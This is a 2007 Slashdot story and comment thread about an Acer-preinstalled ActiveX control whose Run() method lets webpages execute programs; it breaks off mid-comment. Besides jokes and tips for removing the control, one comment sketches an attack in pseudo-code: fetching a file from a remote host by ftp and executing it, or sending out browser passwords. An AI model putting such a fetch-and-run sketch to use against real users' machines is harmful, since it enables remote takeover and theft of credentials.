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Acer May Be Bugging Computers
Posted by
Zonk
on Mon Jan 08, 2007 12:43 AM
from the might-want-to-look-into-this dept.
from the might-want-to-look-into-this dept.
tomjen writes "What if a well known laptop company had silently placed an ActiveX Control on their computers that allowed any webpage to execute any program? Well Acer apparently has and they have (based on the last modified-by date of the file) been doing this since 1998. 'Checking the interface of the control reveals it has a method named "Run()" as shown below. The method supports parameters "Drive", "FileName", and "CmdLine". Isn't it strange for a control that's marked "safe for scripting" to allow a method that is suggestive of possible abuse?'"
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But dude... (Score:5, Funny)
(http://www.tyler.mcadams.com/)
Re:But dude... (Score:5, Funny)
(http://www.saynotocrack.com/ | Last Journal: Friday February 09 2007, @03:02AM)
Re:But dude... (Score:4, Funny)
They're Ferarri's what?
Phew! (Score:1, Interesting)
Re:Phew! (Score:5, Funny)
Re:Phew! (Score:5, Funny)
Re:Phew! (Score:5, Funny)
Re:Phew! (Score:4, Funny)
Re:Phew! (Score:5, Funny)
(http://127.21.29.13/index.html)
Youngsters these days. Back then it was called dashdot, it predated even radio, the oldest of us trolled with semaphores. With the introduction of electrickity, the whole telegraph scene took off. Then some guy named Morse forked the project and publicised the code as his own. It's been downhill ever since.
Hitches up his braces, fires some chaw in the spittoon, waits for someone older to out-troll
the AC
Re:Phew! (Score:4, Funny)
(http://anticirc.coconia.net/)
Re:Phew! (Score:4, Interesting)
and no, I wasn't going for humour mods... my laptop actually shipped with Linux, and I did wipe it for FreeBSD (it runs OpenSolaris now, but that's beyond the point).
Re:Phew! (Score:5, Informative)
(http://billposer.org/)
I recently bought a laptop with Ubuntu pre-installed from The Linux Store [thelinuxstore.ca], which is in Ontario. I've been perfectly satisfied aside from the minor point that they only offer the choice of Ubuntu and Fedora Core when I would have preferred Debian.
Re:Phew! (Score:4, Insightful)
I run Debian
Re:Phew! (Score:5, Funny)
I immediately reformatted my newly-purchased Acer's hard disk, installed DR-DOS and Crosstalk and do all my computing on a VAX 11/750.
Next...
(My Acer - Windows) + Windows + Linux = Good (Score:5, Funny)
(http://angrycatproductions.blogspot.com/)
Actually, I have an Acer Aspire 1640. It's a nice machine for the $799 I got it for about 6 months ago. And Acer doesn't load a bunch of AOL/WildTangent/EarthLink/etc useless "applications" that are bundled because they can't stand on their own, like certain other manufacturers *cough*Dell*cough*HP*cough*. The few things that were bundled (counted on *maybe* 2 hands) were actually useful.
Once I got to college (where I have access to $10 Win XP Pro discs) I wiped it, reinstalled Windows (gasp!) *and* Ubuntu Linux. Works great, and with 120GB HD, plenty of space for both OS's. The Windows works great, since it's very light (only Windows-only stuff, everything else is on Ubuntu+Wine).
Hardware support on Linux is pretty decent. After some elbow grease, wireless, ethernet, widescreen, CPU power stepping, Sansa m250, even hardware buttons are working. Sound is the only thing I'm not sure about, output works fine, input seems finicky. I could probably fix it, but I don't care that much yet.
So...I'm not that concerned. Besides, who uses Internet Explorer anyway?
(That was sarcasm. I know the correct answer is "98% of everyone, luser!")
(That was sarcasm too. I know the correct answer is really "No, it's 89%, n00b!!11!!BBQ!! Look at my fancy link [example.com]!!")
(Other appropriate comments include "I for one welcome our new Acer-invited overlords", "In soviet russia, computers bug Acer!", "I use lynx, you insensitive clod", "Ubuntu sux. [Insert Distro Name Here] is sooo, like, better because [insert unsubtantiated claim here].", etc., ad infinitum.)
Re:Phew! (Score:4, Informative)
I don't know about SONY, but in my experience, HP are more generous than most in terms if disks included with their PCs.
Re:Phew! (Score:4, Informative)
Re:Phew! (Score:4, Informative)
$20 for the set of disks + $52.50(Dell refunded price for Windows) is about the same price you could buy Windows XP Home OEM version for.
That's BS (Score:4, Informative)
All you need to do is burn the images (DVDs) when you get the laptop, and Sony positively nags you repeatedly to do it. Also, if you leave the recovery partition in place you can do it again later.
As for getting the original DVDs, they don't charge a ridiculous amount (in the $60 region) but they do ask for a ridiculous amount of proof that it's your own laptop and you're not going to share the disks with the world..
Don't know about HP, but have handled enough Sony laptops
Re:Phew! (Score:5, Funny)
And now that it's publicized... (Score:5, Interesting)
Re:And now that it's publicized... (Score:5, Funny)
Re:And now that it's publicized... (Score:5, Informative)
(http://www.ninwa.net/ | Last Journal: Thursday July 27 2006, @06:55PM)
Uhh, there already IS an exploit... (Score:5, Informative)
(http://www.icsi.berkeley.edu/~nweaver/)
But as you can run ANY windows binary with any command line (at least according to the article), actual exploitation is trivial.
present on Aspire 1690 (Score:3, Informative)
@mozilla.org/process/util;1 (Score:4, Informative)
(http://www.geocities.com/smushmoth)
Re:@mozilla.org/process/util;1 (Score:5, Insightful)
(http://en.wikipedia.org/wiki/User:H2g2bob)
The difference between ie activex and fx extensions is that firefox encourages you to go through addons.mozilla.org, for which all the extensions are reviewed (though I don't know how thoroughly) and update automatically (eg if exploits are found).
Re:present on Aspire 1690 (Score:5, Informative)
Goto Start > Run and type:
regsvr32 -u lunchapp.ocx
(-u for uninstall)
Re:present on Aspire 1690 (Score:5, Insightful)
Re:present on Aspire 1690 (Score:4, Informative)
(Last Journal: Friday January 20 2006, @11:57AM)
hahaha.Run("c", "\\windows\\system32\\regsvr32.exe", "-u lunchapp.ocx")
?
The 4th USB port (Score:4, Interesting)
(http://www.karastathis.org/ | Last Journal: Tuesday April 05 2005, @07:51PM)
Re:The 4th USB port (Score:5, Insightful)
Plus, if they do no wireless, Wifi-only and Wifi+BT models, with a single Mini-PCI slot, they would need both Wifi and Wifi+BT cards, if they have a "hidden" USB port, they only need to stock Wifi mini-PCI cards and USB bluetooth adapters, the same adapters that are sold independently.
It's an appendix. (Score:5, Interesting)
(http://kadin.sdf-us.org/ | Last Journal: Tuesday October 16, @01:46PM)
In an old Mac of mine (G4 "Sawtooth"), there is an internal Firewire port right on the motherboard, even though there are virtually no (to my knowledge anyway) internal Firewire devices available. The most useful thing you can do with it is run it out to a dummy card-slot panel and give yourself an extra external port. (I suppose you could also run another HD by using a IDE to FW converter card, if you could find a small enough one.)
It's there, I suspect, because when they were designing that mobo, it wasn't clear that Firewire would be used primarily for DV and external peripherals, and wouldn't become the internal-peripheral interconnect of choice. For all the designers knew, Firewire could have become like SATA is today, with hard drives being built for it natively. In that case, having one inside the case could be useful as hell (particularly since that machine has space for 4 or 6 internal 3.5" HDs and 2 removable-media drives). They had no way of knowing that it would end up being the electronics version of an appendix.
I suspect if you were to look around closely at the first generations of a lot of technologies, you'd find a lot of things like this; design decisions made for possibilities that just didn't pan out, but were left there anyway.
PHB == appendix (Score:5, Interesting)
(Last Journal: Tuesday February 13 2007, @05:31PM)
Many moons ago I worked on a large project where we supplied a logistics application along with 8000 laptops that we were also expected to maintain. The spec's for the laptop's were written into the $80M/5yr contract, in particular the contract specified "special" (ie: manafactured by our sister company) laptops with a 120M HDD. A thousand or so laptops were delivered immediately, I suspect this was mainly to garner a large initial payment, 800 were then stored in a warehouse by the customer for 2yrs while we wrote the software and ran a pilot with the other 200.
When it came time to ramp up to full production we found we could no longer get 120M HDD's but could get 250M for the same price (the HDD's were third party PCMCIA cards that were supposed to be "pre-imaged" by the hardware guys). The Dilbert moment happened when a PHB with way too much time on his hands had to sign the purchase order and demanded 120M HDD's because "that's what's it says in the contract". The solution was illogical but effective, we quietly arranged for our hardware friends to format the 250M physical drive into a 120M logical drive and ignore the remaning space (and told them why). A few PHB readable edits to the PO and hey presto a warehouse full of laptops with our software pre-installed on 120M drives and an extra PHB-invisible partion.
Now throwing away half the drive is clearlly illogical but in my mind it was the "optimal" solution, with the possible exception of a time consuming appendectomy that would gum up the workflow for weeks/months and could possibly result in a devil we didn't know taking over. I also say "optimal" because: The PHB belived he had asserted his authority over the project and a rival PHB in the sister company, all with just one demand. From what I recall he went off to pester someone else and gloat about it. Not only did it nueter the PHB but HR, the lawyers and the accountants were kept in their cages, the techies got a good laugh, and the customer remained oblivious to the whole fiasco.
Finally, a year or so into production when the image size started to bloat towards the 120M limit, the same PHB asked for a costing to retrofit bigger drives, like any good salesman we umm'ed and ahh'ed then went off to "see what we could do" before announcing we could remotely activate a new D: drive on a standard update cycle using some simple "magic" and a couple of mandays labour. The news delighted the PHB who promptly added a manday for his own "time". We didn't even hint that it was his previous demand had caused the current space squeeze, we simply saved our eveidence in case an appendectomy was required at some future random impasse. We also saved all the "can do" brownie points for the next time we had to convince the same PHB that his proposed solution to some imaginary problem really, truly, is a "can't do" situation, regardless of what PC week says.
So can this be neutralized? (Score:1)
Isn't it a little bit naive (Score:3, Interesting)
(Last Journal: Friday May 18, @11:07AM)
I bet that buried in the EULA somewhere is a statement about remote support or some other such thing that would negate any complaints about this code as far as culpability goes. Wonder what they will do now that the botnet boys know its there? Just one more reason that people who want to have a safe computer should learn how to administer one properly... IMO.
to those of us uneducated (Score:1, Interesting)
Re:to those of us uneducated (Score:5, Informative)
Re:to those of us uneducated (Score:4, Informative)
(http://www.codepunk.com/)
of script in a web page. Now I can possibly own most acer laptops visiting that page.
The script could do something like this
ftp somehost
ftp get somefile
execute somefile
Bingo I own your laptop.
Or say I just ftp your firefox data so I can grab your history, passwords etc.
Re:to those of us uneducated (Score:5, Informative)
I really have a hard time understanding your mindset. You refuse to believe in the seriousness of the vuln even when people give you an attack vector example. Please, why ?
Re:to those of us uneducated (Score:5, Interesting)
A beginner & an AC - wants to know exactly how to execute the 'bad thing', and promises not to inhale
Oh...rudimentary...well, that's different. Since Acer would presumably have the power to control any aspect of your computer when you use it to log onto any webpage, all they need to do is to wait for you to access a site under their control, and bingo, they can lift all of your installation logs, cookies, saved passwords, MS WORD docs containing the words 'budget; personal; finance; medical; records; debt; sex, SSN (and all applicable variants),etc.
OK, let's say you are gullible enough to think that they can take all of that they want, and still not put you at risk - now, think for just a moment about who 'they' are...? What are the odds of 'they' going to all that trouble and not having some plan to do something with what they glean that you will not be pleased with...? Still not impressed?
How's this... Acer sits around and waits for just the right time and boom - they toggle a flag on your computer that makes it appear that it needs to have XYZ repaired, and what do you know, the only resource is...ACER!!
A new age variation on the old water-bag trick. One guy owned two service stations. One station was the last stop before heading out of LA, into the desert, heading for Palm Springs. The other was the last service station before heading out of Palm Springs, out across the desert, heading for LA. When a car stops on the LA side, the station staff sell the unaware traveler a scary story about being in the desert and having the car break down from overheating. Seems, tho, if you buy a canvas water-bag filled with water, and hang it on your car's front grille, it will supposedly help cool the air before it flows across the radiator. Best insurance money can buy. Thank ya now, ya'll have a safe trip!
Problem is, that big 'ol canvas bag actually blocks the airflow, and by the time you get near the other side of the desert, your car overheats and you have to pay the Palm Springs service station to come and tow your car and fix everything that broke from overheating. Not a small fee, even in those days. They explain how the bag is what did the damage, and the hapless owner tells them to keep it.
What do you think the Palm Springs service station guys do with the demon water-bag? Well, of course, they sell it to the next dupe going from there to LA, and even help by attaching it to the grille of his car. Thank ya now, ya'll have a safe trip!
I figure that one bag most likely made dozens of round trips across the Mohave, and put at least two generations of kids thru law school
Rumor has it owning those two stations was the fastest way to retirement until the big casinos came in and the real pocket-picking took off.
Lessons learned... (Score:5, Insightful)
2) When you can't build your own (laptops), *always* re-install your OS after purchasing a new computer, and for God's sake use a real install CD and not the recovery one provided by the manufacturer.
cvrsd;lk.a5df.a,pfll; (Score:2, Funny)
(http://www.geocities.com/tablizer | Last